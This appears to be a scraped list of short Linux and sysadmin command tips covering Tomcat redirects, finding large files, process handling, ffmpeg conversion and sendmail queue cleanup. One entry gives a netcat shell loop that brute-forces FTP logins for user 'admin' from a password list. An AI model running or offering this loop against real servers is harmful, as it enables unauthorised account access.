Redirect all page from one domain to another domain

Tomcat redirect pages

If you want to move all the pages in a particular folder to other domain example to Then to the following changes in your code Step 1: changes your web.xml : <?xml version="1.0" encoding="UTF-8"?> <web-app version="2.5" xmlns="" xmlns:xsi="" xsi:schemaLocation=""> <display-name>Forum Moving </display-name> <servlet> <servlet-name>redirect.jsp </servlet-name> <jsp-file>/redirect.jsp </jsp-file> </servlet> <servlet-mapping> <servlet-name>redirect.jsp </servlet-name> <url-pattern>/*</url-pattern> </servlet-mapping> </web-app> Here I'm redirecting all the request in that webapplication to "redirect.jsp" Setp 2: Create  ..

Linux command to identify the biggest file

Find biggest file

How will you find a huge file on your system du -s * | sort -nr | head The above command will make you to identify the huge file.  ..

Replace argument of the last command

Change the argument of last command

/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 then !:- is the same as /usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 !:- will Insert the last command without the last argument (bash).   ..

List process playing sound

What processes are playing sound

When trying to play a sound you may sometimes get an error saying that your sound card is already used, but not by what process. lsof | grep pcm This will list all processes playing sound, useful to kill processes that you no longer need but that keep using your  ..

Netcat ftp brute force bf

BF - brute force attack

cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 21 ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done   ..

Command to kill a process by name

Kill a process

how to kill a process by name using single command pkill -x firefox killall firefox The above command will kill the process by name.  ..

How to change permission for svn directories

Changing permission for all .svn folders

How to recursively execute a command to change permission for all svn folders or directories? find . -type d -name .svn -exec chmod g+s "{}" \; The above command will set the GID bit on all directories named .svn in the current directory recursively. This makes the group ownership of all .svn  ..

How to find ip address of iphone

Detect ip address of an iPhone

Find ip address of iPhone ipconfig getifaddr en0 Finds the ip address of your iphone/ipod touch from the command line. Requires a jailbroken device and mobileterminal application/ssh login. The above command will get you the ipaddress of your iphone or ipod.   ..

Ffmpeg command convert flv files to 3gp files

Converting all video files to 3gp files

Converting video file (.flv, .avi etc.) to .3gp ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp ffmpeg -i = input file name -s = set frame size, qcif=176x144 -vcodec = force video codec -r = frame-rate [default = 25] -b = bit-rate [200 kb/s] -acodec  ..

Sendmail tips

Sendmail tutorial

Sendmail Tips This is a quick document on how to get yourself out of some binds I've run into with sendmail. These aren't going to be the most organized, but I figure someone else may find these useful. Mail Spool Sendmail generally stores its  ..

Command to flush sendmail queue

Remove or delete mails from mail queue

sendmail -q -v If you run into a command list too long for rm, try: # ls /var/spool/mqueue | xargs rm That will break up the file list into more managable bites for rm. Easy and fastest way to delete mails from sendmail queue find /var/spool/mqueue -name "*fn*" -delete   ..

Find and delete file size with 0

Remove zero file size from a directory

To find every file with a size of 0 and execute the remove command on the found files. # find . -size 0 -exec rm {} \;   ..

How to remove sendmail from your system

Delete mails from send mail

Here's how to remove sendmail from your system. 1. Find sendmail in your boot scripts. It's usually in either /etc/rc or /etc/init.d/sendmail. It looks like # sendmail -bd -q15m -q15m means that it should run the queue every 15 minutes; you may see  ..

Basic of server port

Ports service to PC

Ports are like doors for a special service to a server or PC. They rank from 0 to 65535. The standard ports are from 0 to 1024, these are the well known ports. The official list you can get under and a description on If a censor  ..

How to lock cdrom eject button

Lock hardware eject button

Lock the hardware eject button of the cdrom eject -i 1 This command will lock the hardware eject button of your cdrom drive. Some users are: 1) If you have a toddler and has discovered the cdrom button 2) If you are carrying a laptop in a bag or case and don't  ..

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